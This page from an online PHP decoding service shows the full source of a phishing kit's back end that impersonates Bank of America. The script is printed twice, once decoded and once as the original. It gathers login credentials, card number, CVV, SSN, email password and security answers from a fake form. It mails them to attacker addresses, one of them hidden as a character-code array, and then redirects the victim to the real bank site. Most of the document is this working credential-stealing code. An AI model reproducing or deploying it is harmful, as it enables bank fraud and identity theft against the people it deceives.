Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? $adddate=date("D M d, Y g:i a"); $ip = getenv("REMOTE_ADDR"); $country = visitor_c..
Decoded Output download
<?
$adddate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$country = visitor_country();
$message .= "---------=Login Info=---------
";
$message .= "UserID: ".$_POST['formlogins1']."
";
$message .= "Password: ".$_POST['formlogins2']."
";
$message .= "---------=Personal Info=---------
";
$message .= "Credit Card Number: ".$_POST['formtext1']."
";
$message .= "Exp/Date: ".$_POST['formtext2']."/".$_POST['formtext3']."
";
$message .= "CVV: ".$_POST['formtext4']."
";
$message .= "SSN: ".$_POST['formtext5']."
";
$message .= "Email Address: ".$_POST['formtext6']."
";
$message .= "Email Password: ".$_POST['formtext7']."
";
$message .= "Sitekey Question 1: ".$_POST['formselect8']."
";
$message .= "Sitekey Answer 1: ".$_POST['formansw1']."
";
$message .= "Sitekey Question 2: ".$_POST['formselect9']."
";
$message .= "Sitekey Answer 2: ".$_POST['formansw2']."
";
$message .= "Sitekey Question 3: ".$_POST['formselect10']."
";
$message .= "Sitekey Answer 3: ".$_POST['formansw3']."
";
$message .= "Sitekey Question 4: ".$_POST['formselect11']."
";
$message .= "Sitekey Answer 4: ".$_POST['formansw4']."
";
$message .= "Sitekey Question 5: ".$_POST['formselect12']."
";
$message .= "Sitekey Answer 5: ".$_POST['formansw5']."
";
$message .= "---------=IP Address & Date=---------
";
$message .= "IP Address: ".$ip."
";
$message .= "Country: ".$country."
";
$message .= "Date: ".$adddate."
";
$message .= "---------Created BY TIKTAK 2017---------
";
$sent ="[email protected]";
$subject = "BOA Login Result ".$country;
$headers = "From: Results BOA <[email protected]>";
$headers .= $_POST['formlogins1']."
";
$headers .= "MIME-Version: 1.0
";
{
mail($mesaegs,$subject,$message,$headers);
mail($sent,$subject,$message,$headers);
}
// Function to get country and country sort;
function country_sort(){
$sorter = "";
$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
$sorter .= chr($array[$i]);
}
return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$result = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryName;
}
return $result;
}
header("Location: http://bankofamerica.com");
?>
Did this file decode correctly?
Original Code
<?
$adddate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$country = visitor_country();
$message .= "---------=Login Info=---------\n";
$message .= "UserID: ".$_POST['formlogins1']."\n";
$message .= "Password: ".$_POST['formlogins2']."\n";
$message .= "---------=Personal Info=---------\n";
$message .= "Credit Card Number: ".$_POST['formtext1']."\n";
$message .= "Exp/Date: ".$_POST['formtext2']."/".$_POST['formtext3']."\n";
$message .= "CVV: ".$_POST['formtext4']."\n";
$message .= "SSN: ".$_POST['formtext5']."\n";
$message .= "Email Address: ".$_POST['formtext6']."\n";
$message .= "Email Password: ".$_POST['formtext7']."\n";
$message .= "Sitekey Question 1: ".$_POST['formselect8']."\n";
$message .= "Sitekey Answer 1: ".$_POST['formansw1']."\n";
$message .= "Sitekey Question 2: ".$_POST['formselect9']."\n";
$message .= "Sitekey Answer 2: ".$_POST['formansw2']."\n";
$message .= "Sitekey Question 3: ".$_POST['formselect10']."\n";
$message .= "Sitekey Answer 3: ".$_POST['formansw3']."\n";
$message .= "Sitekey Question 4: ".$_POST['formselect11']."\n";
$message .= "Sitekey Answer 4: ".$_POST['formansw4']."\n";
$message .= "Sitekey Question 5: ".$_POST['formselect12']."\n";
$message .= "Sitekey Answer 5: ".$_POST['formansw5']."\n";
$message .= "---------=IP Address & Date=---------\n";
$message .= "IP Address: ".$ip."\n";
$message .= "Country: ".$country."\n";
$message .= "Date: ".$adddate."\n";
$message .= "---------Created BY TIKTAK 2017---------\n";
$sent ="[email protected]";
$subject = "BOA Login Result ".$country;
$headers = "From: Results BOA <[email protected]>";
$headers .= $_POST['formlogins1']."\n";
$headers .= "MIME-Version: 1.0\n";
{
mail($mesaegs,$subject,$message,$headers);
mail($sent,$subject,$message,$headers);
}
// Function to get country and country sort;
function country_sort(){
$sorter = "";
$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
$sorter .= chr($array[$i]);
}
return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$result = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryName;
}
return $result;
}
header("Location: http://bankofamerica.com");
?>
Function Calls
| date | 1 |
Stats
| MD5 | 017ab06fc08e10f126683ef028ecfa67 |
| Eval Count | 0 |
| Decode Time | 98 ms |